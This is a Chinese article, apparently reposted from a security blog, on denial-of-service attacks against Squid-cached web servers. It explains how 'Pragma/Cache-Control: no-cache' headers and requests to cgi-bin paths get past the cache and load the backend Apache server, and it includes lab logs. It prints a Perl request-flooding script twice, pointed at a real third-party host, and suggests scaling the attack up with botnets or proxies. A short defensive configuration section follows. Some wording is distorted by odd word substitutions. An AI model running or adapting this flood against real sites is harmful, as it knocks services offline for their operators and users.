当前位置:七道奇文章资讯安全技术网络技术
日期:2011-10-19 11:24:00  来源:本站整理

Cache篇:操纵HTTP指令举行攻击[网络技术]

赞助商链接



  本文“Cache篇:操纵HTTP指令举行攻击[网络技术]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:

攻击原理

Cache机制不但给服务器处理带来了很大程度的性能晋升,一定程度上,也大大晋升了Web服务供应商应对Get Flood的本领.

用户对网站的拜候,大多被分布的Cache服务器分担了,由于Cache服务器的数目以及Cache的杰出处理吞吐性能,即便发生了Get Flood等攻击,此种机制也可以很好的自身消化掉攻击负载,并且即便单一Cache主机瘫痪也不会对整体Web服务造成影响.

我们可以假定这样一种形势,假如攻击者可以穿过Cache,直接将负载压力转到达后台供应HTTP服务的服务器,将这台机械攻击瘫痪,那么前台的服务器也将因为Cache无法得到更新而服务遭到影响,到达回绝服务的效果.

那么能否有办法可以到达上述效果呢?答案是必定的,那就是通过HTTP指令来到达此种攻击.

HTTP协议(v1.1和v1.0)都供应了Cache处理字段,此中字段Cache-Control(v1.0中为Pragma),当这个字段的值为no-cache时,大大都cache软件将不对恳求作出呼应,而直接将恳求传送到后台服务器,操纵这个指令的机制,我们便可以实现我们所要到达的攻击效果.

效果考证

为了考证这种理论上的攻击情势,Coolc架设了简单的利用环境举行考证

正常拜候

而在正常情形下,Squid会在内存Cache中处理全部恳求,可以发现大大都恳求的压力根本无法到达Apache,而直接在Squid消化.以下所示,500个恳求,只有一个到达了Apache,而这个拜候,只是Squid为了到Apache拉取最初始的文件内容造成的.

 

root@coolc:~/squid-2.5.STABLE12#cat apache-host.example.com-access_log |wc -l     1 root@coolc:~/squid-2.5.STABLE12# cat squid_access.log |awk '{print $4'}|uniq -c 499 TCP_MEM_HIT/200

指令绕过

当Squid在处理拜候时,假如发现特别的标志位后,其将会直接将恳求向后转发,同事将在拜候日记中记为一条TCP_CLIENT_REFRESH_MISS.通过下面试验,我发送了500个带特别标志位的HTTP恳求,直接越过了Cache,而将压力直接加载到后台,下面的后果我们考证了效果.

 

用Pragma: no-cache绕过 root@coolc:~/squid-2.5.STABLE12#cat apache-host.example.com-access_log |wc -l     500 root@coolc:~/squid-2.5.STABLE12# cat squid_access.log |awk '{print $4'}|uniq -c 500 TCP_CLIENT_REFRESH_MISS/200  用Cache-Control:no-cache绕过 root@coolc:~/squid-2.5.STABLE12# cat apache-host.example.com-access_log |wc -l     500 root@coolc:~/squid-2.5.STABLE12# cat squid_access.log |awk '{print $4'}|uniq -c     500 TCP_CLIENT_REFRESH_MISS/200

演示代码:

 

 

use IO::Socket; #$host=shift(@ARGV); $i=1; while ($i<500) {     $i++;     print "\n$i\n";     $remote = IO::Socket::INET->new(Proto => "tcp",     PeerPort => "80",     #PeerAddr => "blog.xfocus.net"     PeerAddr => "test.qq.com"     )||die(print "cant't connet $!");     $remote->autoflush(1);     print  $remote "GET /index.html HTTP/1.1\r\nAccept:image/gif image/x-xbitmap,  image/jpeg,application/x-shockwave-flash\r\nReferer: http://www.谷歌.com\r\nAccept:- Language: zh-cn\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;  SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\r\nCache-Control:no- cache\r\nHOST:test.qq.com\n\n";   #print <$remote>;   close $remote;   #sleep 1;     }

实际利用

操纵配置问题

在实际利用中的攻击,大概对方网管会采纳作Squid的ACL办法来屏蔽此种攻击,但是实际环境中的攻击种类和办法会越发多样化,比方操纵Squid默许配置中存在的问题,一样可以到达机灵操纵此问题,并具有一定躲藏性.

场景某网管在Squid通过ACL做了no-cache过滤,使得加杂no-cahce的指令无法穿过,但是一样遭到了Cache回绝服务攻击.

攻击原理

Squid的处理方法当返回为404、403时,通过cache处理减轻后台Web系统的负担.

通过程序用GET方法拜候500次不存在的文件“index.html.”

查看squid的日记,cache住了绝大大都恳求.

 

root@coolc:~/squid-2.5.STABLE12# cat squid_access.log |wc -l     499 root@coolc:~/squid-2.5.STABLE12# cat  squid_access.log |awk '{print $4'}|uniq -c 499 TCP_NEGATIVE_HIT/404 root@coolc:~/squid-2.5.STABLE12# cat apache-access_log |wc -l 0

而实际上传到到Apache上的压力为0,也就是几近没有压力.TCP_NEGATIVE_HIT办理了大大都的负载,招致攻击压力全部不能施加在后台的Web服务器.

从Squid的配置文件里可以看到,Squid关于特别错误的返回也是做了处理的,一样做了Cache.

 

#  TAG: negative_ttl    time-units #       Time-to-Live (TTL) for failed requests.  Certain types of #       failures (such as "connection refused" and "404 Not Found") are #       negatively-cached for a configurable amount of time.  The #       default is 5 minutes.  Note that this is different from #       negative caching of DNS lookups.

 

能否有方法可以绕过cache机制和ACL限制,将近似404压力施加到服务器上?答案时必定的,那就是通过拜候cgi-bin目录下的文件.

 

通过履行攻击代码我们一样实现了对后台主机的攻击,穿透了Cache.

 

root@coolc:~/squid-2.5.STABLE12# cat squid_access.log |awk '{print $4'}|uniq -c 499 TCP_MISS/404  root@coolc:~/squid-2.5.STABLE12# cat apache-access_log |wc -l 499

从日记中可以发现以下痕迹.

 

172.16.10.1 - - [08/Apr/2006:16:33:50 -0800] "GET /cgi-bin/index.html1 HTTP/1.0" 404 298 172.16.10.1 - - [08/Apr/2006:16:33:50 -0800] "GET /cgi-bin/index.html1 HTTP/1.0" 404 298 172.16.10.1 - - [08/Apr/2006:16:33:50 -0800] "GET /cgi-bin/index.html1 HTTP/1.0" 404 298 172.16.10.1 - - [08/Apr/2006:16:33:50 -0800] "GET /cgi-bin/index.html1 HTTP/1.0" 404 298

 

实际上造成上述缘由就死活因为默许配置中关于cgi-bin目录做了特别处理,招致关于其放开了Cache的限制.

 

 

#  TAG: hierarchy_stoplist #       A list of words which, if found in a URL, cause the object to #       be handled directly by this cache.  In other words, use this #       to not query neighbor caches for certain objects.  You may #       list this option multiple times. Note: never_direct overrides #       this option. #We recommend you to use at least the following line. hierarchy_stoplist cgi-bin ? #  TAG: no_cache #       A list of ACL elements which, if matched, cause the request to #       not be satisfied from the cache and the reply to not be cached. #       In other words, use this to force certain objects to never be cached. # #       You must use the word 'DENY' to indicate the ACL names which should #       NOT be cached. # #We recommend you to use the following two lines. acl QUERY urlpath_regex cgi-bin \? no_cache deny QUERY

 

攻击代码:

 

use IO::Socket; #$host=shift(@ARGV); $i=1; while ($i<500) {     $i++;     print "\n$i\n";     $remote = IO::Socket::INET->new(Proto => "tcp",     PeerPort => "80",     #PeerAddr => "blog.xfocus.net"     PeerAddr => "test.qq.com"     )||die(print "cant't connet $!");     $remote->autoflush(1);     print  $remote "GET /cgi-bin/index.html1 HTTP/1.1\r\nAccept:image/gif image/x- xbitmap, image/jpeg,application/x-shockwave-flash\r\nReferer:  http://www.谷歌.com\r\nAccept:-Language: zh-cn\r\nUser-Agent: Mozilla/4.0 (compatible;  MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) \r\nHOST:test.qq.com\n\n";   #print <$remote>;   close $remote;   #sleep 1;     }

 

扩大思绪

当然目前这种攻击方法还仅仅是理论上的攻击,比方攻击代码单线程,攻击IP和特点明显.很简单被辨认并作ACL过滤.但是当我们扩大思绪,假如我们操纵大量的botnet或代理,改变所拜候的文件和HTTP指令内容举行攻击,那么造成的攻击将会越发有威力,并且难以辨认.同时由于攻击负责将直接加载于后台,那么作为防备方的主机资源上风也大打折扣.

防备办法

最简单有效的办法无非是通过SQUID的配置中加载ACL禁用no-cache指令,不过此办法常常只在静态页面的服务器对比简单实现.

如:

 

acl LocalServers dst 192.168.8.0/24 no_cache deny LocalServers

总结

实际上HTTP指令的攻击不但仅与此,本身HTTP协议的扩大协议指令一样有很多有待发掘的地方,关于此种攻击思绪,固然Coolc目前还没看到相关的描写,但是个人感受大概在地下组织中,这些思绪早已呈现,乃至已经有了成熟的工具,coolc在这里全当举一反三,但愿对网络安全有爱好的同仁可以同我接洽,共同谈论研究.


  以上是“Cache篇:操纵HTTP指令举行攻击[网络技术]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
  • CentOS 5.8布置web缓存服务器(squid+memcached)
  • Linux下 Memcache的安装和简单管理
  • 关于mysql的query_cache熟习的误区
  • 在Ubuntu上安装memcached和libmemcached
  • Ubuntu +lampp 扩大增添Memcache模块
  • 利用apt-cacher加快网络软件安装
  • 2008下安装memcache和WinCache对X2举行加快
  • CentOS下nginx、resin、memcached整合
  • 在CentOS 上编译安装Memcached
  • Cache篇:操纵HTTP指令举行攻击
  • Linux(CentOS5.x)下安装memcached
  • Windows下安装Memcache
  • 本文地址: 与您的QQ/BBS好友分享!
    • 好的评价 如果您觉得此文章好,就请您
        0%(0)
    • 差的评价 如果您觉得此文章差,就请您
        0%(0)

    文章评论评论内容只代表网友观点,与本站立场无关!

       评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论
    Copyright © 2020-2022 www.xiamiku.com. All Rights Reserved .